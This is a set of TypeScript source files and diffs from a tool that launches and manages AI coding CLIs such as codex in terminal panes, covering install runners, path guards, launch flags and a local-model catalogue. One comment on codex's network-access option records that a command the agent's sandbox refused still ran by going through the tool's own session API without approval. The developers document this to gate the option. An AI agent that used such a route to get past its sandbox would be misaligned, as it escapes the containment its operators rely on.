* operator guard in `installEnv` stays on the uppercase key only: npm always injects the lowercase one.
*/
function redirectNpmPrefix(env: NodeJS.ProcessEnv, home: string): void {
for (const key of Object.keys(env)) if (/^npm_config_prefix$/i.test(key)) delete env[key];
env.NPM_CONFIG_PREFIX = `${home}/.local`;
}
/**
* `installEnv` for this process, with the (async) npm prefix probe done first and only when the
* command runs npm at all: a `curl | bash` installer never pays for it.
*/
async function installEnvFor(command: string, source: NodeJS.ProcessEnv = process.env): Promise<NodeJS.ProcessEnv> {
const usesNpm = /\bnpm\b/.test(command);
const probeNeeded =
usesNpm &&
source.CODEMAN_IN_CONTAINER !== '1' &&
process.platform !== 'win32' &&
!!source.HOME &&
!source.NPM_CONFIG_PREFIX;
const writable = probeNeeded ? await npmGlobalPrefixWritable(installEnv(source)) : true;
return installEnv(source, () => writable);
}
/**
* Runs a STOCK entry's already-vetted install command. `shell: true` is unavoidable here:
* the shipped commands are genuinely `curl | bash` / `npm install -g` one-liners. This is NOT
* a reopening of the config-shell-text concern the registry's `shellToken` pattern exists to
* prevent: the string executed here is NEVER user input, only ever what is already hardcoded
* and reviewed in `stock.ts`, and a CUSTOM entry can never reach this function at all (see the
* guard of each caller).
*
* Never throws: a spawn that fails is a result with `code: null`.
*/
export async function runInstallCommand(
command: string,
options: RunInstallCommandOptions = {}
): Promise<CliInstallResult> {
const { signal } = options;
if (signal?.aborted) return { code: null, output: '', timedOut: false, aborted: true };
const env = await installEnvFor(command);
// The environment probe above can take a moment (npm boots): an abort during it starts nothing.
if (signal?.aborted) return { code: null, output: '', timedOut: false, aborted: true };
return new Promise((resolve) => {
let child: ReturnType<typeof spawn>;
try {
child = spawn(command, {
shell: true,
stdio: ['ignore', 'pipe', 'pipe'],
// Own process group; the timeout below kills the whole tree by hand, mirroring
// the DeepSeek profile-install endpoint's own reasoning: an install command fans
// out into package-manager children, and spawn's own `timeout` option signals
// only the direct child, leaving survivors holding the pipes open forever.
detached: true,
env,
});
} catch (err) {
resolve({ code: null, output: `spawn failed: ${getErrorMessage(err)}`, timedOut: false, aborted: false });
return;
}
let output = '';
let timedOut = false;
let aborted = false;
let settled = false;
let killTimer: NodeJS.Timeout | undefined;
let reapTimer: NodeJS.Timeout | undefined;
const capture = (chunk: Buffer) => {
if (output.length < 16_384) output += chunk.toString('utf-8');
};
child.stdout?.on('data', capture);
child.stderr?.on('data', capture);
const killTree = (killSignal: NodeJS.Signals) => {
try {
if (child.pid) process.kill(-child.pid, killSignal);
} catch {
/* already gone */
}
};
/** SIGTERM to the group, SIGKILL three seconds later, and give up waiting after eight. */
const stopTree = () => {
if (killTimer) return;
killTree('SIGTERM');
killTimer = setTimeout(() => killTree('SIGKILL'), 3_000);
reapTimer = setTimeout(() => finish(null), 8_000);
};
const onAbort = () => {
aborted = true;
stopTree();
};
const finish = (code: number | null) => {
if (settled) return;
settled = true;
clearTimeout(timer);
if (killTimer) clearTimeout(killTimer);
if (reapTimer) clearTimeout(reapTimer);
signal?.removeEventListener('abort', onAbort);
resolve({ code, output, timedOut, aborted });
};
const timer = setTimeout(() => {
timedOut = true;
stopTree();
}, CLI_INSTALL_TIMEOUT_MS);
signal?.addEventListener('abort', onAbort, { once: true });
child.on('error', (err) => {
output = `${output}\n${err.message}`;
finish(null);
});
child.on('close', (code) => finish(code));
});
}
/**
* The install command of the STOCK CLI `id` for this platform, read from the compiled
* `STOCK_CLIS`. `undefined` for an id that is not a stock CLI or has no command here.
*/
export function stockInstallCommand(id: string): string | undefined {
const entry = STOCK_CLIS.find((candidate) => (candidate.id as string) === id);
if (!entry) return undefined;
const command = resolveInstallCommandForPlatform(entry);
return command !== undefined && command.trim() !== '' ? command : undefined;
}
/**
* Claims the one install slot of `id`. Returns the function that releases it, or `null` when
* an install of that CLI is already running (the caller answers 409 or waits).
*/
export function tryBeginCliInstall(id: string): (() => void) | null {
if (installsInFlight.has(id)) return null;
installsInFlight.add(id);
let released = false;
return () => {
if (released) return;
released = true;
installsInFlight.delete(id);
};
}
/**
* Forgets every cached binary lookup of a CLI: the generic per-id resolver (which captures
* the entry's binaries when first built) and every per-binary cache, hits and negative-cache
* backoff alike. Called after anything that changes what is on disk or what the CLI's binary
* IS; see `invalidateCliExecutableResolvers`.
*/
export function forgetResolvedCli(id: string, binaries: readonly string[]): void {
invalidateCliExecutableResolvers(binaries);
invalidateCliResolverCache(id);
}
+6 -2
View File
@@ -250,7 +250,7 @@ function describeSkillResult(result: AgentSkillApplyResult, target: string): { o
},
symlink: {
ok: false,
text: `${target} (or its parent) is a symlink, refusing to write through it.`,
text: `${target}, its parent or its reference folder is a symlink, refusing to write through it.`,
},
};
return messages[result];
@@ -320,7 +320,11 @@ skillCmd
if (result === 'symlink') {
// A shared-skills layout (`.agents/skills -> ../.claude/skills`) is deliberate:
// skip it rather than fail the whole sweep.
console.log(palette.warn(`- Skipped ${target}: it (or its parent) is a symlink, so it was not touched`));
console.log(
palette.warn(
`- Skipped ${target}: it, its parent or its reference folder is a symlink, so it was not touched`
)
);
continue;
}
removedAny = true;
+23 -1
View File
@@ -27,7 +27,7 @@
* @module config/attachment-guard
*/
import { sep } from 'node:path';
import { join, sep } from 'node:path';
import { isSensitivePath } from '../web/sensitive-path.js';
import { readJsonConfig, SETTINGS_PATH } from '../web/route-helpers.js';
@@ -131,3 +131,25 @@ export function isBlockedAttachmentPath(absPath: string, blockedTrees: readonly
if (isSensitivePath(absPath)) return true;
return blockedTrees.some((tree) => isUnderTree(absPath, tree));
}
/**
* Like `isBlockedAttachmentPath`, for a directory. The sensitive patterns describe file locations
* such as ~/.ssh/<key>, so a child probe is what refuses a folder like ~/.ssh itself.
*/
export function isBlockedAttachmentDirectory(dir: string, blockedTrees: readonly string[]): boolean {
return (
isBlockedAttachmentPath(dir, blockedTrees) ||
isBlockedAttachmentPath(join(dir, '__codeman_blocked_dir_probe__'), blockedTrees)
);
}
/**
* True when the attachment guard refuses `root` as the root of a worktree outside the session
* folder: workspace confinement is on, the folder is blocked or sensitive, or it surrounds a
* blocked tree. `root` must be absolute and symlink-resolved.
*/
export function isOutsideWorktreeRootRefused(root: string, guard: AttachmentGuardConfig): boolean {
if (guard.confineToWorkspace) return true;
if (isBlockedAttachmentDirectory(root, guard.blockedTrees)) return true;
return guard.blockedTrees.some((tree) => isUnderTree(tree, root));
}
+5 -1
View File
@@ -490,7 +490,11 @@ const capabilitiesSchema = z
launchDefaults: z
.record(
z.string(),
z.enum(['codexModel', 'codexReasoningEffort'] as const satisfies readonly LaunchDefaultSettingKey[])
z.enum([
'codexModel',
'codexReasoningEffort',
'codexNetworkAccess',
] as const satisfies readonly LaunchDefaultSettingKey[])
)
.refine((v) => Object.keys(v).length >= 1 && Object.keys(v).length <= 8, 'launchDefaults takes 1 to 8 params')
.optional(),
+71 -5
View File
@@ -640,6 +640,7 @@ const CODEX: CliEntry = {
launch: {
params: {
bypassApprovals: { type: 'bool' },
networkAccess: { type: 'bool' },
animations: { type: 'bool' },
// `model-plain-colon`, not `model`: the custom-model feature forces the selected id
// onto this param (`launchModel: '{modelId}'` below), and Ollama-style ids carry a
@@ -653,7 +654,38 @@ const CODEX: CliEntry = {
id: 'default',
args: [
{ lit: 'codex' },
// Codex 0.162 hands every client's tool commands to ONE shared background
// app-server (`codex app-server --managed-daemon`), started by whichever client
// came first. Two things break inside a Codeman pane, both measured 2026-11-01 on
// 0.162.0: the commands run with the STARTER's environment, so
// `$CODEMAN_SESSION_ID`/`$CODEMAN_API_URL` belong to another session (the codeman
// skill's self-check 404s and its delete guard protects the wrong id), and a daemon
// of another version (a 0.166 one left by a later install) stops every launch on an
// "incompatible feature settings" dialog before the composer appears. `--no-daemon`
// runs this session's own in-process server, which is what a pane per session
// means anyway. Gated at the version it was measured on; an older or unknown
// codex gets nothing (fail-closed), since an unknown flag makes codex exit.
{ flag: '--no-daemon', when: { capabilityGate: 'noDaemonFlag' } },
{ flag: '--dangerously-bypass-approvals-and-sandbox', when: { param: 'bypassApprovals', is: true } },
// Lets commands in codex's workspace-write sandbox open network connections,
// Codeman's own API on loopback included (the codeman skill's curl calls fail
// with "couldn't connect" without it). Measured on 0.162.0 (`codex sandbox` and
// a live pane): loopback stays blocked under workspace-write until this is set.
// ⚠️ Not a safe middle ground below the bypass above: that API can start a session
// outside the sandbox with no approval prompt, so codex's sandbox no longer contains
// a command once this is on. Measured 2026-11-06: a `touch` the sandbox refused
// landed through POST /api/sessions, and with a password set too from inside a
// Codeman pane, which inherits CODEMAN_PASSWORD by design.
// ⚠️ Workspace-write ONLY: a folder codex runs read-only (one it does not trust,
// such as a fresh non-git case) keeps the network closed and asks per command.
// Deliberately not paired with `--sandbox workspace-write` (owner decision,
// 2026-11-06), which would also grant write access to a folder codex itself chose
// not to trust, under a label that only says "network".
{
flag: '--config',
value: 'sandbox_workspace_write.network_access=true',
when: { param: 'networkAccess', is: true },
},
{ flag: '--config', value: 'tui.animations=true', when: { param: 'animations', is: true } },
{ flag: '--config', value: 'tui.animations=false', when: { param: 'animations', is: false } },
{ flag: '--model', valueFrom: 'model', when: { param: 'model', state: 'set' } },
@@ -819,7 +851,14 @@ const CODEX: CliEntry = {
// App Settings → Codex model / reasoning effort (synced), filled into a LOCAL launch's
// codexConfig wherever the caller left the field unset. Launch-only: nothing writes
// codex's own config.toml. Read by applyLaunchDefaults() in src/web/launch-defaults.ts.
launchDefaults: { model: 'codexModel', reasoningEffort: 'codexReasoningEffort' },
// `networkAccess` (App Settings → Codex → Allow network access) rides the same path, so
// a codex session started by the codeman skill, `codeman agent spawn` or the MCP server
// gets it as well as one started from the browser. Off (the default) fills nothing.
launchDefaults: {
model: 'codexModel',
reasoningEffort: 'codexReasoningEffort',
networkAccess: 'codexNetworkAccess',
},
// Two columns, like claude's, measured on a live 0.154.0 answer: the `•`/`›`/`⚠`
// markers sit in the gutter, prose continuations sit at 2, and a nested YAML block
// the model wrote rendered at 2/4/6/8 for its own 0/2/4/6. Replayed at 100, 120,
@@ -844,7 +883,19 @@ const CODEX: CliEntry = {
// does. codex is the entry where the two names differ (`bypassApprovals` here,
// `dangerouslyBypassApprovals` on the wire), so it is the one that would have caught a
// regression; `schema.ts` now rejects a name that is not a declared param.
privilegedParams: [{ param: 'bypassApprovals', clampTo: false }],
//
// `networkAccess` widens the sandbox too (any host, not just Codeman's loopback API), so
// a non-granted owner gets it forced off like the bypass. Only-if-sent is enough here as
// well: an absent value leaves codex's own no-network default, and the launch default
// above is filled BEFORE the clamp runs, so a filled `true` is still clamped.
privilegedParams: [
{ param: 'bypassApprovals', clampTo: false },
{ param: 'networkAccess', clampTo: false },
],
// `--no-daemon` above. Evaluated against codex's OWN version (resolveSessionCliVersion).
gates: {
noDaemonFlag: { minVersion: '0.162.0', failClosed: true },
},
mcpConfig: {
path: '.codex/config.toml',
format: 'codex-toml',
@@ -1180,7 +1231,23 @@ const PI: CliEntry = {
// (hasTrustRequiringProjectResources, pi 1.1.0), which would stall a spawned worker on
// a dialog. pi reads the user-level `~/.agents/skills` without that prompt, so a pi
// user installs it there (`npx skills add Ark0N/Codeman --skill codeman -g`).
altScreen: 'preserve', // pi's TUI renders into the main screen with terminal-owned scrollback
// Fullscreen is pi's default `tuiMode` since 1.0.0 (measured 1.0.0, 1.1.0, 1.4.0, 1.5.0 in
// tmux: alternate_on=1, history_size=0, mouse on, SGR): a TUI that enables tracking once at
// start. Codeman's replay (tab switch, reload) drops that mode in xterm, so the wheel hit an
// empty local buffer and went dead until a redraw. Same shape as copilot: strip the DECSETs
// (a drag selects locally), publish `cliMouseTracking`, and forward the wheel by hand from
// that flag. pi scrolls on SGR wheel reports, one row each at a low rate, faster on a spin.
// `tuiMode: regular`, the default below 1.0.0, is inline and emits no mouse DECSET, so the
// strip finds nothing and the flag stays false. A pi from 0.84.0 set to fullscreen does emit
// them (0.84.1 and 0.99.2 measured: alternate_on=1, mouse_any_flag=1, SGR) and the flag
// covers it.
// ⚠️ No `transcriptPageKeys`, though fullscreen pi does page on PageUp/PageDown. pi binds
// those keys to its editor in regular mode too, where they page nothing and move the caret
// of a multi-line draft, so a wheel over a fresh regular pane sent the next keystroke to the
// wrong line (measured). The cost: a fullscreen pi with "Wheel scrolls local history" on
// has no paging fallback.
altScreen: 'strip-mux-and-mouse',
wheelForward: { mode: 'always' },
echo: { policy: 'buffer', anchor: { kind: 'cursor' } },
// Measured on a live pi 1.1.0 pane (capture-pane every 250 ms through a turn,
// 2026-10-09): pi has no composer glyph. Its composer sits between two `─` rules, and
@@ -1370,8 +1437,7 @@ const GROK: CliEntry = {
// docs/, bin/ — per-file seeding like pi's credStore, not a whole-dir seedWhole copy.
credStore: { rel: '.grok', seedFiles: ['auth.json', 'config.toml', 'pager.toml'] },
// No remote/docker overlay needed: the defaults (exec grok / login-shell `grok`) are
// already correct — verified against upstream's own pinned test/grok-mode.test.ts
// expectation `exec "${SHELL:-/bin/sh}" -i -l -c 'grok'`.
// already correct, verified against upstream's own pinned test/grok-mode.test.ts.
},
};
+4 -4
View File
@@ -112,7 +112,7 @@ export type ModelConfigResolverName = 'deepseek-route';
* arbitrary setting onto a command line; each name must also be a `SettingsUpdateSchema`
* key, which the resolver's typing enforces.
*/
export type LaunchDefaultSettingKey = 'codexModel' | 'codexReasoningEffort';
export type LaunchDefaultSettingKey = 'codexModel' | 'codexReasoningEffort' | 'codexNetworkAccess';
/** The MCP config dialects `src/mcp-sync.ts` has an adapter for. */
export type McpConfigFormat =
@@ -546,7 +546,7 @@ export interface CliCapabilities {
* `strip-full` is `isAltScreenStripMode`; `strip-mux-and-mouse` is `isMuxMouseStripMode`;
* every other value takes `isMuxAltScreenOnlyStripMode`, so at runtime `preserve` and
* `strip-mux-only` are the same row — `preserve` only says what such a CLI's pane
* holds (terminal-owned scrollback: a shell, pi), not a different strip.
* holds (terminal-owned scrollback: a shell), not a different strip.
*
* - alt-screen: the tmux CLIENT emits `smcup` as its first bytes at attach, parking
* xterm in the scrollback-less alternate buffer; a pane program's own toggles never
@@ -560,8 +560,8 @@ export interface CliCapabilities {
* own mouse support must work in the pane (htop/vim in a shell).
*
* Stock CLIs: `strip-full` = claude, codex, gemini (Ink TUIs); `strip-mux-and-mouse` =
* opencode and copilot (full-screen TUIs that enable tracking themselves); `strip-mux-only` =
* antigravity, grok, deepseek, omp; `preserve` = shell, pi.
* opencode, copilot and pi (full-screen TUIs that enable tracking themselves); `strip-mux-only` =
* antigravity, grok, deepseek, omp; `preserve` = shell.
*
* A fourth combination is the point to split this into flags; three is still cheaper
* as an enum.
+56
View File
@@ -0,0 +1,56 @@
/**
* @fileoverview Bounds for FOREIGN tmux discovery (sessions a human started
* outside Codeman).
*
* Two facts drive every number here. First, the number of tmux sockets and panes
* on a machine is NOT under Codeman's control, so a discovery walk with no ceiling
* is an unbounded loop over data someone else produces. Parsed rows are capped by
* count and the socket sweep by time: a sweep capped by count would stop in glob
* order, where `codeman*` sorts before `default` and a machine running many
* instances would never reach the sessions this feature is for. Second, an ssh
* handshake is an order of magnitude slower than
* a local `exec`; reusing the shared 5s `EXEC_TIMEOUT_MS` would classify every
* remote host as unreachable, so the probe gets its own timeout.
*
* @module config/foreign-tmux
*/
/** How often the browser re-polls `/api/mux/foreign` while the home screen is visible. */
export const FOREIGN_POLL_INTERVAL_MS = 8000;
/**
* Server-side cache TTL for a LOCAL scan. This, not the poll interval, is what
* bounds the real cost: N open tabs polling at 8s still trigger at most one scan
* per TTL.
*/
export const FOREIGN_CACHE_TTL_MS = 5000;
/** Timeout for one probe invocation (local exec, `docker exec`, or one ssh). */
export const FOREIGN_PROBE_TIMEOUT_MS = 12000;
/**
* How long one tmux server may take to answer the probe's ping, in the script's own
* `sleep`, so whole seconds. A healthy server takes milliseconds. One that misses this
* costs only its own rows, and the sweep moves on to the next socket.
*/
export const FOREIGN_SOCKET_TIMEOUT_SECONDS = 2;
/** How long a timed-out probe's process group gets on SIGTERM before SIGKILL. */
export const FOREIGN_PROBE_KILL_GRACE_MS = 2000;
/** Max pane rows parsed from one probe. Panes past this are dropped, not errors. */
export const FOREIGN_MAX_PANES = 400;
/** Max process rows parsed from one probe's `ps` snapshot. */
export const FOREIGN_MAX_PROCS = 4000;
/** Max bytes of probe stdout kept. A runaway `ps` must not become a heap problem. */
export const FOREIGN_PROBE_MAX_BYTES = 2 * 1024 * 1024;
/**
* Longest argv or pane command kept from one row. The caps above bound how many rows a
* probe carries, this bounds what one costs: a row is text from someone else's process,
* and `ps` prints a 128 KiB argv in full. A launcher that needed more than this to be
* recognised reads as `shell`, which only changes the label on its row.
*/
export const FOREIGN_MAX_ARGV_CHARS = 4096;
+575
View File
@@ -0,0 +1,575 @@
/**
* @fileoverview The local model catalogue: which models, harnesses and chips the recommendation
* knows, as a compiled constant validated by a Zod schema.
*
* Rules:
* - There is NO override file and no runtime download data here: nothing in this file reads
* the data dir, and a data file can never decide what gets recommended. Which runtime build
* is downloaded is a compiled constant of its own (src/local-model/runtime.ts).
* - A model id is `name:tag` in lowercase with no slash (`LOCAL_MODEL_ID_PATTERN`), so it can
* only ever name a model of the default registry and namespace.
* - A model row names the `runner` a Mac uses for its tag, and its memory figures follow that
* runner's rule (MEMORY below). A row's figures are its OWN: measured on that model, or
* computed from that model's architecture. test/local-model-catalog.test.ts recomputes every
* computed figure from a table of architectures and refuses a row that is not in it, so a
* new row needs its model's config.json read, not a figure borrowed from a neighbour.
* - A harness is a ROW (`{ cli, minContext, rank, gated?, slowFirstTurn? }`). The `cli` is a CLI
* registry id as data: no code may compare it with a literal. Whether that CLI exists and can
* take a custom model is checked against the registry at call time, in
* src/local-model/harness-facts.ts, never here.
* - The schema checks more than fields. Across rows it requires: unique model ids and ranks,
* unique harness `cli`s and ranks, `contexts` largest first, a `tested` entry naming a harness
* row, and `chips` most specific first.
* - `getLocalModelCatalog()` parses the constant once, on first use and never at import, and
* throws on a bad row. test/local-model-catalog.test.ts pins that the stock constant parses,
* so a bad row fails the gate and never reaches the route.
*
* Where each figure of the stock rows comes from, and what was checked (2026-11-08). [V] read
* at the source that day, [M] measured on a Mac, [C] computed from [V] inputs:
*
* | Figure | Source | Checked |
* |----------------------|-----------------------------------------------------------|--------------------------------------|
* | `id` | the registry's tag. The GGUF tags in lowercase: the | [V] every row: the registry answers |
* | | registry spells them `-q4_K_M`, and an id here is | the lowercase id with the same |
* | | lowercase (`LOCAL_MODEL_ID_PATTERN`) | manifest. NOT checked: that the |
* | | | runtime lists the pulled model under |
* | | | that name (Codeman compares exactly) |
* | `runner` | the build the runtime 0.40.15 pulls on Apple silicon: the | [V] every row |
* | | MLX child of a manifest list, else the one manifest | |
* | | (`runnerPreferences()`: mlx, then llamacpp) | |
* | `bytes` | every layer plus the config of that build: the `total` | [V] every row. [M] for |
* | | a pull reports | `qwen3.6:35b-a3b`, byte for byte |
* | `heldBytesPerToken`, | `qwen3.6:35b-a3b`: [M] on an Apple M5 Pro with 48 GB. | the others: [C], never run on a Mac. |
* | `overheadBytes`, | Every other row: [C] from its model's config.json for its | `figures` says which row is which. |
* | `peakExtraBytes` | runner, see MEMORY below. No row borrows another's | test/local-model-catalog.test.ts |
* | | figures: two rows share figures only when they share the | recomputes every one |
* | | architecture and the runner | |
* | `license`, `paramsB` | the model card (`paramsB` is the TOTAL, not the active | [V] |
* | | parameters) | |
* | `rank` | a judgement on the agentic coding results of the vendors' | no: vendor tables disagree with each |
* | | cards (SWE-bench Verified, SWE-bench Pro, Terminal-Bench) | other by several points |
* | `contexts` | up to the model's own window, and at least the 65536 a | no |
* | | harness needs | |
* | `speedPer100Gbps` | one published run per model family on an M1 Max | the run was read. It stands for less |
* | | (400 GB/s): generation only, short prompt. A row that is | than a session: no long prompt, no |
* | | not that run is SCALED from it, and says how | thinking tokens. An MTP build is |
* | | | faster than the run without it |
* | `tested` | our own run of the model with a harness on a real Mac | one entry, with its measured speed |
* | `minMacosMajor` | the runtime's documentation (macOS 14) | yes, by the facts review |
* | harness `minContext` | 65536: the runtime's documentation for OpenCode ("64k or | 65536 yes. 32768 no, which is why |
* | | higher"), and OpenCode v1.19.5's own fixed prompt (about | that row is gated |
* | | 8,000 to 10,000 tokens) and compaction rule: at 32768 it | |
* | | leaves 14,000 to 16,000 tokens, less than one default | |
* | | 2,000-line file read | |
* | `chips` | the bandwidth column of | yes, read at the source for this |
* | | https://github.com/ggml-org/llama.cpp/discussions/4167 | file |
*
* MEMORY. The need is `bytes + heldBytesPerToken x context + overheadBytes + peakExtraBytes`
* (src/local-model/recommend.ts). The two runners spend memory differently, so a row's three
* figures are filled by the rule of its runner:
*
* - `llamacpp` (llama-server on Metal; runtime v0.40.15 source, llm/llama_server.go, and the
* llama.cpp it bundles, b12111). It allocates the K/V cache for the WHOLE context when the
* model loads, in the cache type the runtime sets (`RUNTIME_KV_CACHE_TYPE` in
* src/local-model/runtime.ts, q8_0: 34 bytes per 32 values), and does not grow after that.
* "MTP" below is a GGUF with a multi-token-prediction layer (`nextn_predict_layers` 1 in
* its header, read on 2026-11-08 from the first bytes of each model layer: the two `-mtp`
* tags and `qwen3.8:27b-q8_0` have it, the two 9B tags and North Mini Code do not). For
* such a model the runtime always passes `--spec-type draft-mtp --spec-draft-n-max N`, N
* being the tag's own `draft_num_predict` (its params layer: 4 for
* `qwen3.8:27b-mtp-q4_k_m`, 2 for `qwen3.6:35b-a3b-mtp-q4_k_m`) or the runtime's default
* of 4 (`qwen3.8:27b-q8_0` sets none).
* - held = attention layers x K/V heads x head dim x 2 (K and V) x 34/32. An MTP model
* adds its prediction layer, whose cache llama-server keeps in a draft context of the
* same length in the draft's own cache type, f16 by default (2 bytes per value).
* - overhead = the fixed caches (the f32 recurrent state of the linear-attention layers,
* or the sliding-window cache of `n_swa + 512` cells), held 1 + N times for an MTP
* model (llama.cpp keeps one recurrent state per drafted token for rollback,
* `need_n_rs_seq()`), + the context checkpoints: `LLAMA_ARG_CTX_CHECKPOINTS` host copies
* (`RUNTIME_CTX_CHECKPOINTS`, 8) of the state that cannot be rolled back (the recurrent
* state, or the sliding-window cache), + 1.0 GB for the runner's own buffers (calibrated
* on a third-party table of a 27B model on llama.cpp: 8.4 GB at 4,096 tokens with
* 7.15 GB of weights), + the 1024 MiB host prompt cache that `LLAMA_ARG_CACHE_RAM`
* allows (`RUNTIME_HOST_PROMPT_CACHE_MIB`). The checkpoints and the prompt cache are
* host memory, not Metal buffers; on a Mac both come out of the same memory, so they
* are counted like the rest.
* - peak = 0: its compute buffers are allocated at load and are inside the 1.0 GB.
* The one outside check of this rule: a third party measured 65,600 bytes per token of
* growth at f16 for a model of the Qwen3.8-27B architecture, where its config gives 65,536.
* The checkpoints and the rollback copies are read in the llama.cpp source
* (tools/server/server-context.cpp `create_checkpoint`, src/llama-memory-recurrent.cpp),
* not measured.
* - `mlx` (runtime v0.40.15 source, mlxrunner/). It grows the K/V cache in bf16 with the
* tokens used, keeps the recurrent state in f32 and a snapshot of it every 8,192 tokens,
* and keeps up to 8 GiB of paged-out prefix snapshots (prefix_cache.go `maxPagedOutBytes`,
* not configurable). Third-party OpenCode sessions show that growth (runtime issues 17924
* and 18131), and the runtime books an MLX model at its weights alone (issue 19417).
* - `qwen3.6:35b-a3b`: MEASURED. 36,000 to 38,000 bytes held per token after prompts of
* 89,000 and 167,000 tokens, 2.5 to 3 GB beside the weights, about 5 GB more for a
* moment while a long prompt was processed. NOT covered by that measurement: a session
* of many requests, in which the prefix snapshots may add up to 8 GiB. Its figures stay
* the measured ones (with 8 GiB on top it would not be offered on the Mac it ran on),
* and a 30-request session on it is the first thing to measure next.
* - every other `mlx` row: held = the K/V cache in bf16 + one recurrent snapshot per
* 8,192 tokens, computed from the config, x 37,000 / 28,340: the ratio of what the
* measured row really held to the same computation for it (same runner, same
* architecture family). Overhead = the measured row's 3 GB + the whole 8 GiB prefix
* budget. Peak = the measured row's 5 GB, NOT scaled: what makes it up was not
* measured.
*
* After the download the install checks that the runtime holds the whole model on the GPU.
* For a `llamacpp` row both of the runtime's figures are the buffers llama-server reports
* allocating (weights, K/V cache, compute; `MemorySize()` in llm/llama_server.go), so the
* check proves the whole load is on the GPU, whatever the cache type; what grows after the
* load in host memory (the context checkpoints and the prompt cache) is counted above, not
* checked. For an `mlx` row it proves only the weights (issue 19417): the figures above are
* all that stands between such a row and swap.
*
* Models set aside on purpose (a weekly review should look at them again):
* - `bonsai-2:27b`, `bonsai-2:9b` (ternary builds of Qwen3.8-27B and Qwen3.5-9B; the 27B
* would make a 24 GB Mac `ok`): the vendor reports no SWE-bench and no agent loop, and
* whether 2-bit weights keep tool calls reliable was never measured.
* - `ornith-1.5:9b`, `ornith-1.5:35b`, `ornith-1.5:397b` (GGUF only): strong cards, but their
* manifests name no renderer and no tool parser, so whether tool calls work through the
* runtime is unknown (runtime pull request 17965 is open). `ornith-1.5:122b` has both.
* - `gpt-oss:20b`: weak in agentic coding (SWE-bench Verified 52.4, Terminal-Bench 2.1 15.2
* in NVIDIA's table).
* - `flint:40b`: runtime issue 19191 breaks integer tool arguments after the first call.
* - `lfm2.5:24b-a2b`: its licence allows commercial use only below USD 10M of revenue.
* - `laguna-xs-2.1`: the runtime's own page names an open problem with it on macOS.
* `laguna-s-2.1`: open runtime issues 17602 and 17632.
* - `qwen3.8-flash-next:125b`: the Qwen Community License, not an open licence.
* - The plain tags `qwen3.5:9b`, `mimo-v2.6:9b` and `qwen3.8:27b`: a Mac pulls their MLX
* builds, whose 8 GiB of prefix snapshots do not fit the Macs a 9B or a 27B is for. Their
* GGUF builds are listed instead.
* - `qwen3.5:122b-a10b`: replaced by `ornith-1.5:122b`, a fine-tune of it (SWE-bench
* Verified 84.5 against 72.0) whose MLX build carries a renderer and a tool parser.
*
* `tested` has one entry: `qwen3.6:35b-a3b` with OpenCode on an Apple M5 Pro with 48 GB,
* 2026-11-06, 67.7 tokens per second. Only a Mac of exactly that chip and memory size is told
* "Recommended" and shown that speed in place of the estimate. Every other row was never run
* on a Mac by us, and its row says `estimated` and "not run on a Mac like this yet".
*/
import { z } from 'zod';
import type { ChipEntry, LocalModelCatalog } from '../types.js';
/** A model id: lowercase name, one colon, a tag. No slash, so no registry host or namespace can ride along. */
export const LOCAL_MODEL_ID_PATTERN = /^[a-z0-9][a-z0-9._-]*:[a-z0-9][a-z0-9._-]*$/;
/**
* Whether `chip` (a `machdep.cpu.brand_string`, 'Apple M4 Pro') is the chip a `ChipEntry.match`
* ('M4 Pro') names: the string must END with the match, and the match must start at the
* beginning or after a space. Case is ignored.
*
* Stricter than "the match occurs in the string" on purpose. 'M4' is not the chip of
* 'Apple M4 Pro', 'M1' is not the chip of 'Apple M10', and a variant this table has never heard
* of ('Apple M6 Pro') matches no row instead of borrowing the bandwidth of its base chip.
*/
export function chipNameMatches(chip: string, match: string): boolean {
const name = chip.trim().toLowerCase();
const wanted = match.trim().toLowerCase();
if (wanted === '' || !name.endsWith(wanted)) return false;
const start = name.length - wanted.length;
return start === 0 || name[start - 1] === ' ';
}
/**
* The memory bandwidth (GB/s) of `chip`, from the first row that names it. `undefined` when the
* chip string is absent or no row names it: the speed is then UNKNOWN, a bandwidth is never guessed.
*/
export function chipBandwidthGbps(chips: readonly ChipEntry[], chip: string | undefined): number | undefined {
if (!chip) return undefined;
return chips.find((row) => chipNameMatches(chip, row.match))?.gbps;
}
const isoDate = z.string().regex(/^\d{4}-\d{2}-\d{2}$/, 'must be an ISO date (YYYY-MM-DD)');
const positiveInt = z.number().int().positive();
const TestedOnSchema = z
.object({
chip: z.string().min(1).max(80),
memGb: positiveInt,
cli: z.string().min(1).max(24),
date: isoDate,
tokensPerSecond: z.number().positive().optional(),
})
.strict();
const LocalModelEntrySchema = z
.object({
id: z.string().max(100).regex(LOCAL_MODEL_ID_PATTERN, 'must be name:tag in lowercase, without a slash'),
label: z.string().min(1).max(80),
license: z.string().min(1).max(40),
paramsB: z.number().positive(),
runner: z.enum(['mlx', 'llamacpp']),
bytes: positiveInt,
heldBytesPerToken: positiveInt,
overheadBytes: z.number().int().nonnegative(),
peakExtraBytes: z.number().int().nonnegative(),
figures: z.enum(['measured', 'estimated']),
contexts: z.array(positiveInt).min(1),
rank: z.number().int(),
speedPer100Gbps: z.number().positive().optional(),
tested: z.array(TestedOnSchema),
})
.strict();
const LocalHarnessEntrySchema = z
.object({
cli: z.string().min(1).max(24),
minContext: positiveInt,
rank: z.number().int(),
gated: z.boolean().optional(),
slowFirstTurn: z.boolean().optional(),
})
.strict();
const ChipEntrySchema = z
.object({
match: z.string().min(1).max(40),
gbps: z.number().positive(),
})
.strict();
/** The index of the first value that already occurred earlier in the list, or -1. */
function firstRepeat<T>(values: readonly T[]): number {
const seen = new Set<T>();
for (let i = 0; i < values.length; i++) {
if (seen.has(values[i])) return i;
seen.add(values[i]);
}
return -1;
}
/**
* Validates a whole catalogue: every field, then the rules that hold across rows (see the file
* header). Typed against `LocalModelCatalog`, so the two cannot drift apart.
*/
export const LocalModelCatalogSchema: z.ZodType<LocalModelCatalog> = z
.object({
schema: z.literal(1),
updated: isoDate,
minMacosMajor: positiveInt,
models: z.array(LocalModelEntrySchema),
harnesses: z.array(LocalHarnessEntrySchema),
chips: z.array(ChipEntrySchema),
})
.strict()
.superRefine((catalog, ctx) => {
const issue = (path: (string | number)[], message: string): void => {
ctx.addIssue({ code: 'custom', path, message });
};
// A repeated id would make "the model" ambiguous, a repeated rank would make the order of
// two models depend on where they sit in the array.
const repeatedId = firstRepeat(catalog.models.map((m) => m.id));
if (repeatedId >= 0) issue(['models', repeatedId, 'id'], 'model ids must be unique');
const repeatedRank = firstRepeat(catalog.models.map((m) => m.rank));
